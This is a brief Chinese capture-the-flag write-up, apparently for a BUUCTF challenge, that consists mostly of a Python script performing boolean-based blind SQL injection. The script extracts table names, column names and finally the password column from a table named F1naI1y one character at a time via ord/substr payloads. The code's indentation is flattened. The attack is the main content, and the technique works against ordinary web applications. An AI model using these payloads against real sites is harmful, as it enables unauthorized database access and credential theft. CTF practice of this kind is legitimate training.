过滤了一堆东西,没什么好说的,就是盲注
import requests
import time
url = "http://f6e6340e-3748-4805-baa9-a4ec0a81aabd.node3.buuoj.cn/search.php?id=0^"
count=1
table_name=''
while True:
for i in range(33,137):
# payload = f"(ord((substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{count},1)))={i})#"
# payload = f"(ord((substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{count},1)))={i})#"
payload = f"(ord((substr((select(group_concat(password))from(F1naI1y)),{count},1)))={i})#"
r=requests.get(url+payload)
if "others" in r.text:
table_name+=chr(i)
count+=1
print(table_name)
break
用脚本分别跑出表名,列名,最后跑出字段的值即可。
buu平台跑脚本的速度不能太快太伤了,跑个表要好久。